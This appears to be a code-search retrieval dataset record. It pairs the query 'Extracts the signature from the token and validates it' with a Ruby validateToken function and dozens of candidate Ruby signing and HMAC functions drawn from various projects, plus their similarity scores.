"def get_signature_token(secret_key, payleven_string)\n\t\t\tsha512 = OpenSSL::Digest.new('sha512')\n\t\t\tsha1 = Digest::SHA1.new\n\t\t\t\n\t\t\tencoded256 = OpenSSL::HMAC.hexdigest(sha512, secret_key, payleven_string)\n\t\t\tsha1.hexdigest encoded256\n\t\tend",
"def sign(private_key)\n # Our multiline hash for authorization will be encoded in multiple header\n # lines - X-Ops-Authorization-1, ... (starts at 1, not 0!)\n header_hash = {\n \"X-Ops-Sign\" => SIGNING_DESCRIPTION,\n \"X-Ops-Userid\" => user_id,\n \"X-Ops-Timestamp\" => canonical_time,\n \"X-Ops-Content-Hash\" => hashed_body,\n }\n\n string_to_sign = canonicalize_request\n signature = Base64.encode64(private_key.private_encrypt(string_to_sign)).chomp\n signature_lines = signature.split(/\\n/)\n signature_lines.each_index do |idx|\n key = \"X-Ops-Authorization-#{idx + 1}\"\n header_hash[key] = signature_lines[idx]\n end\n \n Mixlib::Authentication::Log.debug \"String to sign: '#{string_to_sign}'\\nHeader hash: #{header_hash.inspect}\"\n \n header_hash\n end",
"def rsaes_pkcs_signature(key, input)\n private_key = if BSON::Environment.jruby?\n # JRuby cannot read DER format, we need to convert key into PEM first.\n key_pem = [\n \"-----BEGIN PRIVATE KEY-----\",\n Base64.strict_encode64(Base64.decode64(key)).scan(/.{1,64}/),\n \"-----END PRIVATE KEY-----\",\n ].join(\"\\n\")\n OpenSSL::PKey::RSA.new(key_pem)\n else\n OpenSSL::PKey.read(Base64.decode64(key))\n end\n private_key.sign(OpenSSL::Digest::SHA256.new, input)\n end",
"def signed_string\n \"service=#{params['service']}&v=#{params['v']}&sec_id=#{params['sec_id']}¬ify_data=#{params['notify_data']}#{key}\"\n end",
"def sign_with(secret)\n #puts \"Signing #{string_to_sign.inspect} with #{secret.inspect}\"\n digest = OpenSSL::Digest.new('sha256')\n Base64.encode64(OpenSSL::HMAC.digest(digest, secret, string_to_sign)).strip\n end",
"def signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest.new('sha1'),\n ENV['S3_SECRET_ACCESS_KEY'],\n policy_document\n )\n ).gsub(/\\n/, '')\n end",
"def gen_sig(mac, params)\n signed = params[\"signed\"].split(\",\").map {|k| [k, params[k]]}\n base64_encode(Signatures.sign(mac, kv_encode(signed)))\n rescue Signatures::NotFound\n nil\n end",
"def sign_key; end",
"def formatted_signature(signature)\n n = (verify_key_length.to_f / BYTE_LENGTH).ceil\n\n if signature.size == n * 2\n r = signature[0..(n - 1)]\n s = signature[n..-1]\n\n OpenSSL::ASN1::Sequence.new([r, s].map { |int| OpenSSL::ASN1::Integer.new(OpenSSL::BN.new(int, 2)) }).to_der\n else\n signature\n end\n end",
"def signature(key)\n Digest::SHA1.hexdigest(\"#{key}#{Config.secret}\")[0...8]\n end",
"def create_signature(params, secret) # :nodoc:\n query = build_nested_query(params)\n\n require 'openssl'\n digest = OpenSSL::Digest::Digest.new('sha1')\n signature = OpenSSL::HMAC.hexdigest(digest, secret, query)\n\n # require 'pp'\n # print '----------------------------------'\n # pp params\n # pp query\n # pp secret\n # pp signature\n\n return signature\n end",
"def encode_signature(algo, signature)\n encode_string(algo) + encode_string(signature)\n end",
"def build_signature_for(url, params)\r\n data = url + params.sort.join\r\n digest = OpenSSL::Digest.new('sha1')\r\n Base64.strict_encode64(OpenSSL::HMAC.digest(digest, ENV['TWILIO_AUTH_TOKEN'], data))\r\n end",
"def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), CONFIG['secret_access_key'], s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end",
"def signature\n @signature ||= Base64.encode64(digest).gsub(\"\\n\", '')\n end",
"def gen_key(string_key)\n b_key = self._hash_digest(string_key)\n return self._hash_val(b_key) { |x| x }\n end",
"def signature(params)\n self.class._hmac(secret, params) if secret.to_s.length > 0\n end",
"def s3_upload_signature\n\t signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), YOUR_SECRET_KEY, s3_upload_policy_document)).gsub(\"\\n\",\"\")\n\t end",
"def create_signing_key(opts = {})\n data, _status_code, _headers = create_signing_key_with_http_info(opts)\n data\n end",
"def signing_key\n digest = \"SHA256\"\n kDate = OpenSSL::HMAC.digest(digest, \"AWS4\" + credentials.aws_secret, request_datestamp)\n kRegion = OpenSSL::HMAC.digest(digest, kDate, region)\n kService = OpenSSL::HMAC.digest(digest, kRegion, service)\n OpenSSL::HMAC.digest(digest, kService, \"aws4_request\")\n end",
"def get_secure_signature(message)\n digest = OpenSSL::Digest.new('SHA256')\n Base64.strict_encode64(private_key.sign(digest, message))\n end",
"def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), SITE['s3_access_key'], s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end",
"def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), Figaro.env.aws_secret_access_key, s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end",
"def generate_request_signature(components)\n string_to_sign = components.join(\"\\n\")\n\n digest = OpenSSL::Digest.new('sha1')\n Base64.encode64(OpenSSL::HMAC.digest(digest, @configuration.secret_key, string_to_sign))\n end",
"def generate_request_signature(components)\n string_to_sign = components.join(\"\\n\")\n\n digest = OpenSSL::Digest.new('sha1')\n Base64.encode64(OpenSSL::HMAC.digest(digest, @configuration.secret_key, string_to_sign))\n end",
"def generate_signature(bytes, private_key)\n bytes = Validation.check_filled_array_argument!(bytes)\n private_key = Validation.check_type_argument!(VirgilPrivateKey, private_key)\n\n begin\n native_algorithm = HashAlgorithm.convert_to_native(HashAlgorithm::SHA512)\n signer = Core::VirgilSigner.new(native_algorithm)\n wrap_bytes(signer.sign(bytes, private_key.raw_key))\n rescue StandardError => error\n raise VirgilCryptoException, error.message\n end\n end",
"def query_string_sig2\n @query_elements['Timestamp']= Time::at(Time.now).utc.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\") unless @query_elements['Timestamp']\n @query_elements['AWSAccessKeyId']= @credentials.accessID\n signature_method= @query_elements['SignatureMethod']\n if @query_elements['_omit']\n @query_elements['_omit'].each do |k|\n @query_elements.delete k\n end\n @query_elements.delete '_omit'\n end\n values = @query_elements.keys.sort.collect {|key| [url_encode(key), url_encode(@query_elements[key])].join(\"=\") }\n @canonical_querystring= values.join(\"&\")\n @string_to_sign = <<\"____\".rstrip\nGET\n#{URI::parse(endpoint).host}\n#{URI::parse(endpoint).path}\n#{@canonical_querystring}\n____\n signature= @credentials.sign(signature_method,@string_to_sign)\n @query_elements['Signature'] = signature\n @query_elements.collect { |key, value| [url_encode(key), url_encode(value)].join(\"=\") }.join('&') # order doesn't matter for the actual request\n end",
"def signature_for(data, secret)\n Base64.encode64(hmac_sha256(data, secret)).strip\n end",
"def sign_request(ikey, skey, akey, username)\n return Duo::ERR_USER if !username || username.empty?\n return Duo::ERR_USER if username.include? '|'\n return Duo::ERR_IKEY if !ikey || ikey.to_s.length != Duo::IKEY_LEN\n return Duo::ERR_SKEY if !skey || skey.to_s.length != Duo::SKEY_LEN\n return Duo::ERR_AKEY if !akey || akey.to_s.length < Duo::AKEY_LEN\n\n vals = [username, ikey]\n\n duo_sig = sign_vals(skey, vals, Duo::DUO_PREFIX, Duo::DUO_EXPIRE)\n app_sig = sign_vals(akey, vals, Duo::APP_PREFIX, Duo::APP_EXPIRE)\n\n return [duo_sig, app_sig].join(':')\n end",
"def gen_key( string )\n md5 = Digest::MD5.hexdigest( string )\n return md5[0, 3] + md5[29, 31]\nend",
"def parse_key(string)\n @key_factory.parse(string)\n end",
"def update_signature!; end",
"def update_signature!; end",
"def signature(params)\n string_to_sign =\n<<-DATA\n#{params[:method].to_s.upcase}\n#{params[:headers]['Canonical-URI']}\n#{params[:headers]['Canonical-QueryString']}\n#{params[:headers]['Canonical-Headers']}\n#{params[:headers]['Signed-Headers']}\n#{params[:headers]['Hex-Encode-Hash-Payload']}\nDATA\n\n amz_headers, canonical_amz_headers = {}, ''\n for key, value in params[:headers]\n if key[0..5] == 'x-amz-'\n amz_headers[key] = value\n end\n end\n amz_headers = amz_headers.sort {|x, y| x[0] <=> y[0]}\n for key, value in amz_headers\n canonical_amz_headers << \"#{key}:#{value}\\n\"\n end\n string_to_sign << canonical_amz_headers\n\n subdomain = params[:host].split(\".#{@host}\").first\n unless subdomain =~ /^(?:[a-z]|\\d(?!\\d{0,2}(?:\\.\\d{1,3}){3}$))(?:[a-z0-9]|\\.(?![\\.\\-])|\\-(?![\\.])){1,61}[a-z0-9]$/\n # TODO: err..... not sure if this is needed\n Fog::Logger.warning(\"fog: the specified glacier vault name(#{subdomain}) is not a valid dns name, which will negatively impact performance. For details see: http://docs.amazonwebservices.com/AmazonS3/latest/dev/BucketRestrictions.html\")\n params[:host] = params[:host].split(\"#{subdomain}.\")[-1]\n if params[:path]\n params[:path] = \"#{subdomain}/#{params[:path]}\"\n else\n params[:path] = subdomain\n end\n subdomain = nil\n end\n\n canonical_resource = @path.dup\n unless subdomain.nil? || subdomain == @host\n canonical_resource << \"#{Fog::AWS.escape(subdomain).downcase}/\"\n end\n canonical_resource << params[:path].to_s\n canonical_resource << '?'\n# TODO: all these keys need to change to reflect glacier\n for key in (params[:query] || {}).keys.sort\n if %w{\n acl\n lifecycle\n location\n logging\n notification\n partNumber\n policy\n requestPayment\n response-cache-control\n response-content-disposition\n response-content-encoding\n response-content-language\n response-content-type\n response-expires\n torrent\n uploadId\n uploads\n versionId\n versioning\n versions\n website\n }.include?(key)\n canonical_resource << \"#{key}#{\"=#{params[:query][key]}\" unless params[:query][key].nil?}&\"\n end\n end\n canonical_resource.chop!\n string_to_sign << canonical_resource\n\n signed_string = @hmac.sign(string_to_sign)\n Base64.encode64(signed_string).chomp!\n end",
"def verify_signature(signature, string, base64=false)\n signature = base64_decode(signature) if base64\n\n @public_key.verify(OpenSSL::Digest.new(\"SHA1\"), signature, string)\n end",
"def create\n\n @signature = Signature.new(params[:signature])\n\n respond_to do |format|\n if @signature.save\n format.html { redirect_to(@signature, :notice => 'Signature was successfully created.') }\n format.xml { render :xml => @signature, :status => :created, :location => @signature }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @signature.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def sign(cmd)\n \t\t\t\tiv = rand(0xffffffff).to_i.to_s(16).upcase.rjust(8,\"0\")\n \t\t\t\tdigest = Digest::MD5.hexdigest(cmd+iv).upcase\n \t\t\t\tsb = [@signature_block + digest].pack(\"h*\")\n \t\t\t\tsig = @signingkey_priv.private_encrypt(sb).unpack(\"h*\")[0].upcase\n \t\t\t\t# i haven't a clue what those numbers are on the front, 10|3|22\n \t\t\t\t\"10|3|22|#{cmd}|#{sig}|#{iv}\"\n \t\t\tend",
"def sign(text)\n signature = Digest::MD5.hexdigest([text, 'Hello from Events 2'].join)[0...SIGNATURE_LENGTH]\n [text,signature].join\n end",
"def generated_signature(policy)\n return signature = Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n secret_access_key, policy)).gsub(\"\\n\",\"\")\n end",
"def s3_upload_signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n ENV[\"AWS_SECRET_ACCESS_KEY\"],\n s3_upload_policy_document\n )\n ).gsub(/\\n/, '')\n end",
"def signature(args)\n str = args.to_s\n if str.length <= SHA1_THRESHHOLD\n args\n else\n Digest::SHA1.hexdigest args.to_s\n end\n end",
"def sign(message); end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def sign(payload)\n payload = payload.merge({\n :client_id => @client_id,\n :client_secret => @client_secret,\n })\n\n scope = create_scope\n context = create_context(payload)\n s2s = create_string_to_sign(scope, context)\n signing_key = get_signing_salt\n OpenSSL::HMAC.hexdigest(@hash_algo, signing_key, s2s)\n end",
"def sign(accessKeySecret, parameters)\n signature = sign_without_encoding(accessKeySecret, parameters)\n Addressable::URI.encode_component(signature, Addressable::URI::CharacterClasses::UNRESERVED + '|')\n end",
"def sign(req, ts)\n md5_salt = \"ifxy8jvzf1q0f9uz\"\n body = \"#{CGI.escape(req)}#{ts}#{md5_salt}\"\n # md5.update body.upcase\n sign = Digest::MD5.hexdigest body\n sign.upcase\nend",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def set_Signature(value)\n set_input(\"Signature\", value)\n end",
"def sign(params)\n string = params_to_string(params)\n\n case @sign_type\n when 'RSA'\n ::Alipay::Sign::RSA.sign(@app_private_key, string)\n when 'RSA2'\n ::Alipay::Sign::RSA2.sign(@app_private_key, string)\n else\n raise \"Unsupported sign_type: #{@sign_type}\"\n end\n end",
"def sign(message, privkey)\n group = ECDSA::Group::Secp256k1\n digest = Digest::SHA256.digest(message)\n signature = nil\n while signature.nil?\n temp_key = 1 + SecureRandom.random_number(group.order - 1)\n signature = ECDSA.sign(group, privkey.to_i(16), digest, temp_key)\n return ECDSA::Format::SignatureDerString.encode(signature).unpack(\"H*\").first\n end\n end",
"def signature(timestamp, nonce, verb, url)\n nsurl = NSURL.URLWithString(url.to_s)\n fail(ArgumentError, \"could not parse \\\"#{url}\\\" into NSURL\") unless nsurl.host\n\n path = nsurl.path\n path = \"/\" if path == \"\"\n\n port = nsurl.port\n port = nsurl.scheme == \"https\" ? 443 : 80 unless port\n\n signature = [\n timestamp,\n nonce,\n verb.to_s.upcase,\n path,\n nsurl.host,\n port,\n \"\", nil\n ].join(\"\\n\")\n\n digest = CocoaSecurity.send(algorithm, signature, secret)\n digest.base64\n end",
"def signature=(v)\n @signature = v\n end"
] |
[
"0.74240404",
"0.73088264",
"0.72971517",
"0.71045744",
"0.7065757",
"0.7002721",
"0.6712629",
"0.66858095",
"0.66358507",
"0.6549493",
"0.6546979",
"0.6506545",
"0.65034926",
"0.6502035",
"0.6423556",
"0.6400151",
"0.63337636",
"0.62865746",
"0.62825996",
"0.62637544",
"0.6131618",
"0.6127911",
"0.6123309",
"0.6061678",
"0.6052964",
"0.6040451",
"0.6014133",
"0.6008522",
"0.5985535",
"0.5976303",
"0.5973912",
"0.5948846",
"0.59390104",
"0.5912144",
"0.5901023",
"0.58764935",
"0.5867269",
"0.5862464",
"0.58283615",
"0.58277994",
"0.58086765",
"0.58035433",
"0.5783258",
"0.5771076",
"0.5759335",
"0.5749479",
"0.57417464",
"0.57297236",
"0.5703154",
"0.56842905",
"0.56817156",
"0.56810397",
"0.56759524",
"0.566249",
"0.56611973",
"0.56461734",
"0.5637631",
"0.5637631",
"0.56334186",
"0.5623399",
"0.5618982",
"0.56173575",
"0.5615015",
"0.5610158",
"0.55959797",
"0.55959797",
"0.5594977",
"0.55783165",
"0.55741477",
"0.5573287",
"0.55719805",
"0.55681247",
"0.5566737",
"0.5554807",
"0.5518861",
"0.5510321",
"0.5510321",
"0.5510321",
"0.5509483",
"0.5509483",
"0.5509483",
"0.5509483",
"0.5509483",
"0.5509483",
"0.5509483",
"0.5509483",
"0.5501392",
"0.5500451",
"0.5500276",
"0.5494473",
"0.5494473",
"0.5494473",
"0.5494473",
"0.5494473",
"0.5494473",
"0.54931635",
"0.54931635",
"0.5489408",
"0.54836637",
"0.5481955",
"0.5476122"
] |
0.0
|
-1
|
Extracts the signature from the token and validates it.
|
def validateToken(token)
if (token.nil? or token.empty?)
debug("Error: validateToken: nil/empty token.")
return
end
body, sig = token.split("&sig=")
if (body.nil? or sig.nil?)
debug("Error: validateToken: Invalid token: #{token}")
return
end
sig = u64(sig)
return token if (sig == signToken(body))
debug("Error: validateToken: Signature did not match.")
return
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def verify_signature\n return_code, response = send_command(\"verify_signature\", token)\n return_code == \"200\"\n end",
"def signature_valid?; end",
"def verify_signature(result); end",
"def valid_signature?(token)\n return false unless token =~ /&HMACSHA256=(.*)$/\n original_signature = CGI.unescape(token[/&HMACSHA256=(.*)$/, 1])\n bare_token = token.gsub(/&HMACSHA256=(.*)$/, '')\n signature = Base64.encode64(HMAC::SHA256.new(Base64.decode64(shared_secret)).update(bare_token.toutf8).digest).strip\n return original_signature == signature\n end",
"def verify_signature\n begin\n signature = OAuth::Signature.build(request) do |token, consumer_key|\n self.current_application = find_application_by_key(consumer_key)\n self.current_token = find_token(token)\n\n token_secret = self.current_token ? self.current_token.secret : nil\n app_secret = self.current_application ? self.current_application.secret : nil\n \n self.oauth_logger.debug \"Signature build: application-secret: #{app_secret}; token-secret: #{token_secret}\"\n \n [token_secret, app_secret]\n end\n # Rescue requests made with unacceptable signature methods. \n # OAuth::Signature.available_methods holds a Hash of acceptable\n # signature methods. Provide a sane error message to the Consumer.\n rescue OAuth::Signature::UnknownSignatureMethod => e\n throw :halt, render(\"Unknown Signature Method: #{e.message}. Accepts: #{OAuth::Signature.available_methods.keys.join(', ')}\", :status => 401, :layout => false)\n end\n \n if signature.verify\n remember_request(signature)\n else\n self.oauth_logger.debug(\"Signature verify fail: Base: #{signature.signature_base_string}. Signature: #{signature.signature}\")\n \n throw :halt, render(\"Invalid OAuth Request. Signature could not be verified. Base: #{signature.signature_base_string}. Signature: #{signature.signature}\", :status => 401, :layout => false)\n end\n end",
"def signature_is_valid?\n node = @ar.at_css('xmlns|SignedInfo',\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#')\n\n node = node.canonicalize\n\n signature = @ar.at_css(\n 'xmlns|SignatureValue',\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#'\n ).content\n\n signature = Base64.decode64(signature)\n\n certificate.public_key.verify(OpenSSL::Digest::SHA1.new, signature, node)\n end",
"def verify_signature\n @req.verify(public_key)\n end",
"def parse_token\n binary_token = get_element('//t:RequestSecurityTokenResponse/t:RequestedSecurityToken/wsse:BinarySecurityToken')\n @validation_errors << \"No binary token exists.\" and return if binary_token.nil?\n \n decoded_token = Base64.decode64(binary_token)\n name_values={}\n decoded_token.split('&').each do |entry|\n puts entry\n pair=entry.split('=') \n name_values[CGI.unescape(pair[0]).chomp] = CGI.unescape(pair[1]).chomp\n end\n puts \"expires on\"\n puts name_values[\"ExpiresOn\"]\n @validation_errors << \"Response token is expired.\" if Time.now.to_i > name_values[\"ExpiresOn\"].to_i\n @validation_errors << \"Invalid token issuer.\" unless name_values[\"Issuer\"]==\"#{self.class.issuer}\"\n @validation_errors << \"Invalid audience.\" unless name_values[\"Audience\"] ==\"#{self.class.realm}\"\n \n # is HMAC valid?\n token_hmac = decoded_token.split(\"&HMACSHA256=\")\n swt=token_hmac[0]\n puts \"====\"\n puts \"incoming hmac is\"\n puts name_values['HMACSHA256']\n puts \"calculated hmac is\"\n puts Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha256'),Base64.decode64(self.class.token_key),swt)).chomp\n puts \"====\"\n \n @validation_errors << \"HMAC does not match computed value.\" unless name_values['HMACSHA256'] == Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha256'),Base64.decode64(self.class.token_key),swt)).chomp\n \n # remove non-claims from collection and make claims available\n\n @claims = name_values.reject {|key, value| !key.include? '/claims/'}\n end",
"def validate_signature!(signature, data)\n raise InvalidSignature unless valid_signature?(signature, data)\n end",
"def verify_oauth_signature\n valid = OAuth::Signature.verify(request) do |request_proxy|\n @request_proxy = request_proxy\n @oauth_token = OauthToken.find_by_token(request_proxy.oauth_token, :include => :consumer)\n @oauth_consumer = @oauth_token.consumer\n\n # return the token secret and the consumer secret\n [oauth_token.secret, oauth_consumer.secret]\n end\n\n render :text => \"Invalid OAuth Request\", :status => 401 unless valid\n end",
"def verify_signature\n @spki.verify(public_key)\n end",
"def validate_and_parse_id_token(id_token)\n # The second parameter is the public key to verify the signature.\n # However, that key is overridden by the value of the executed block\n # if one is present.\n #\n # If you're thinking that this looks ugly with the raw nil and boolean,\n # see https://github.com/jwt/ruby-jwt/issues/59.\n jwt_claims, jwt_header =\n JWT.decode(id_token, nil, false, verify_options) do |header|\n # There should always be one key from the discovery endpoint that\n # matches the id in the JWT header.\n x5c = (signing_keys.find do |key|\n key['kid'] == header['kid']\n end || {})['x5c']\n if x5c.nil? || x5c.empty?\n fail JWT::VerificationError,\n 'No keys from key endpoint match the id token'\n end\n # The key also contains other fields, such as n and e, that are\n # redundant. x5c is sufficient to verify the id token.\n OpenSSL::X509::Certificate.new(JWT.base64url_decode(x5c.first)).public_key\n end\n return jwt_claims, jwt_header if jwt_claims['nonce'] == read_nonce\n fail JWT::DecodeError, 'Returned nonce did not match.'\n end",
"def fetch_signature(params)\n sig = params.fetch(\"sig\", nil) || params.fetch(\"s\", nil)\n sig && sig.first\n end",
"def fetch_signature(params)\n sig = params.fetch(\"sig\", nil) || params.fetch(\"s\", nil)\n sig && sig.first\n end",
"def signature_is_valid?\n validate_signature(doc, certificate, :normal)\n end",
"def verify!\n verify\n rescue InvalidDigest, InvalidSignedValue => e\n raise InvalidSignature, e.message\n end",
"def verify!\n verify\n rescue InvalidDigest, InvalidSignedValue => e\n raise InvalidSignature, e.message\n end",
"def verify_signature(data)\n Signature.valid?(data.merge('api_key' => api_key))\n end",
"def signature_verify( doc )\n # 1. Figure out signature namespace prefix\n sig_ns, prefix = signature_namespace_and_prefix( doc )\n\n # 2.a Signer present?\n @signer_node = doc.xpath( \"//#{ namespace_prefix( doc, doc.root.namespace.href ) }:Signer\" )\n if @signer_node.size != 1\n @messages << \"#{ @signer_node.size == 0 ? 'No' : @signer_node.size } Signer node#{ @signer_node.size > 1 ? 's' : '' } found\"\n end\n\n # 2.b Signature present?\n @signature_node = doc.xpath( \"//#{ prefix }:Signature\", sig_ns )\n if @signature_node.size != 1\n @messages << \"#{ @signature_node.size == 0 ? 'No' : @signature_node.size } Signature node#{ @signature_node.size > 1 ? 's' : '' } found\"\n end\n\n # 2.c Abort if none or more than 1 Signer or Signature node\n return FALSE if ( @signer_node.size != 1 or @signature_node.size != 1 )\n\n # 3. Extract and check signer certs\n certs = extract_certs( doc, sig_ns, prefix )\n @crypto = DC_Signer_Crypto_Compliance.new( certs )\n\n if ! @crypto.valid?\n if ! @crypto.errors[ :pre_context ].empty?\n @crypto.errors[ :pre_context ].each do |e|\n @messages << e\n end\n return FALSE\n else\n # Compliance issues in the extracted certs.\n # List those errors but then try to continue anyway,\n # thus allowing for inspection of compliance issues and signature in context.\n @crypto.messages.each do |e|\n @messages << e\n end\n end\n else # cc is valid\n @messages << \"Certificate chain is complete and compliant (#{ @crypto.type })\"\n end\n\n # 3.a Might check here whether the signer chain is known, trustworthy etc.\n #\n # See 3 for @crypto validity hop-over\n #\n\n # 4. Get signer's public key\n pub_k = @crypto.context.first.public_key\n\n # 5. Check references and signature value\n @reference_digests_check = check_references( doc, sig_ns, prefix )\n @signature_value_check = check_signature_value( doc, sig_ns, prefix, pub_k )\n\n return TRUE\n end",
"def parse_signed_payload\n signed_payload = params[:signed_payload]\n message_parts = signed_payload.split('.')\n\n encoded_json_payload = message_parts[0]\n encoded_hmac_signature = message_parts[1]\n\n payload = Base64.decode64(encoded_json_payload)\n provided_signature = Base64.decode64(encoded_hmac_signature)\n\n expected_signature = sign_payload(bc_client_secret, payload)\n\n if secure_compare(expected_signature, provided_signature)\n return JSON.parse(payload, symbolize_names: true)\n end\n\n nil\nend",
"def match_signature(signature)\n if !signature[:ok]\n msg_mismatch(text)\n elsif expected_signer && signature[:email] != expected_signer\n msg_wrong_signer(signature[:email])\n end\n end",
"def signature_verify( doc )\n # 1. Figure out signature namespace prefix\n sig_ns, prefix = signature_namespace_and_prefix( doc )\n\n # 2.a Signer present?\n @signer_node = doc.xpath( \"//#{ namespace_prefix( doc, doc.root.namespace.href ) }:Signer\" )\n if @signer_node.size != 1\n @messages << \"#{ @signer_node.size == 0 ? 'No' : @signer_node.size } Signer node#{ @signer_node.size > 1 ? 's' : '' } found\"\n end\n\n # 2.b Signature present?\n @signature_node = doc.xpath( \"//#{ prefix }:Signature\", sig_ns )\n if @signature_node.size != 1\n @messages << \"#{ @signature_node.size == 0 ? 'No' : @signature_node.size } Signature node#{ @signature_node.size > 1 ? 's' : '' } found\"\n end\n\n # 2.c Abort if none or more than 1 Signer or Signature node\n return false if ( @signer_node.size != 1 or @signature_node.size != 1 )\n\n # 3. Extract and check signer certs\n certs = extract_certs( doc, sig_ns, prefix )\n @crypto = DC_Signer_Crypto_Compliance.new( certs )\n\n if ! @crypto.valid?\n if ! @crypto.errors[ :pre_context ].empty?\n @crypto.errors[ :pre_context ].each do |e|\n @messages << e\n end\n return false\n else\n # Compliance issues in the extracted certs.\n # List those errors but then try to continue anyway,\n # thus allowing for inspection of compliance issues and signature in context.\n @crypto.messages.each do |e|\n @messages << e\n end\n end\n else # cc is valid\n @messages << \"Certificate chain is complete and compliant (#{ @crypto.type })\"\n end\n\n # 3.a Might check here whether the signer chain is known, trustworthy etc.\n #\n # See 3 for @crypto validity hop-over\n #\n\n # 4. Get signer's public key\n pub_k = @crypto.context.first.public_key\n\n # 5. Check references and signature value\n @reference_digests_check = check_references( doc, sig_ns, prefix )\n @signature_value_check = check_signature_value( doc, sig_ns, prefix, pub_k )\n\n return true\n end",
"def has_valid_signature?\n Adyen::HPP::Signature.verify(params, shared_secret)\n end",
"def validate!\n Cybersource::Security.validate_signature!(@fields['signature'], signed_data)\n raise PaymentFailed unless payment_success?\n\n self\n end",
"def valid_signature? signature\n # We create a new XML document in Nokogiri to canonicalize the\n # signature. Nokogiri needs the xmlns:ds tag on the root element to\n # preserve the 'ds:' namespace on all the elements. Not exactly sure\n # why this is needed, but it works if we do it.\n info = signature.find_first('.//ds:SignedInfo', DS)\n\n canon = LibXML::XML::Document.new\n canon.root = canon.import info\n canonicalized = canon.canonicalize\n\n b64_sig = signature.find_first('.//ds:SignatureValue', DS).content\n dec_sig = Base64.decode64 b64_sig\n\n b64_cert = signature.find_first('.//ds:X509Certificate', DS).content\n cert = OpenSSL::X509::Certificate.new(Base64.decode64(b64_cert))\n\n digest = OpenSSL::Digest::SHA1.new\n cert.public_key.verify(digest, dec_sig, canonicalized)\n end",
"def verify_oauth_consumer_signature\n valid = OAuth::Signature.verify(request) do |request_proxy|\n @request_proxy = request_proxy\n @oauth_consumer = OauthConsumer.find_by_key(request_proxy.oauth_consumer_key)\n\n # return the token secret and the consumer secret\n [nil, oauth_consumer.secret]\n end\n \n # TODO catch different tyes of errors\n # rescue OAuth::UnknownSignatureMethod\n\n render :text => \"Invalid OAuth Request\", :status => 401 unless valid\n end",
"def valid_signature?\n Rack::Utils.secure_compare(signature, signature_for(body))\n end",
"def validate_token_hash; end",
"def extract! token\n raw = decrypt_token token\n values = raw.slice! 3..(raw.size-3)\n\n raw = raw - [\"Ra\", ThreeScale::SSO::VERSION, \"zZ\"]\n generation_time, expiration_time = raw.map{ |t| Time.at(t.to_f) }\n\n raise ValidationError.new(\"Token expired.\") if expiration_time < Time.now.utc\n\n values\n end",
"def verifySignature _args\n \"verifySignature _args;\" \n end",
"def verify_token\n token ||= request.env['HTTP_AUTHORIZATION']\n if token.nil?\n error 401, { :error => 'Unauthorized.' }.to_json\n else\n token = token.split(' ').last unless token.nil?\n begin\n @user = verify(token)\n rescue JWT::ExpiredSignature\n error 401, { :error => 'Expired token.' }.to_json\n end\n end\n end",
"def validate_signature\n\t\t::Rails.logger.debug \"--- Realizando comprobación de la firma con PSEIS ---\"\n\t\tdoc = Nokogiri::XML(xmlSigned)\n\t\tdoc.remove_namespaces!\n\t\t\n\t\tcert = doc.xpath('//X509Data/X509Certificate').first.inner_text\n\t\t\n\t\tmyValidation = PSISApi.new\n\t\tmyValidation.validate cert\n\t\treturn myValidation\n\tend",
"def verify_signature(public_key, payload, signature, timestamp)\n verify_engine\n timestamped_playload = \"#{timestamp}#{payload}\"\n payload_digest = Digest::SHA256.digest(timestamped_playload)\n decoded_signature = Base64.decode64(signature)\n public_key.dsa_verify_asn1(payload_digest, decoded_signature)\n rescue StandardError\n false\n end",
"def call\n unless current_user && current_user.authentication_token == data[:authentication_token]\n raise(ActiveSupport::MessageVerifier::InvalidSignature)\n end\n\n current_user\n end",
"def validate_signature(doc, certificate, canonicalization_method)\n node = doc.at('xmlns|SignedInfo', xmlns: DSIG)\n\n return false unless node\n\n node = case canonicalization_method\n when :normal\n node.canonicalize\n when :exclusive\n canonicalize_exclusively node\n end\n\n signature = doc.at('xmlns|SignatureValue', xmlns: DSIG).content\n signature = decode(signature)\n\n # Return true or false\n certificate.public_key.verify(OpenSSL::Digest::SHA1.new, signature, node)\n end",
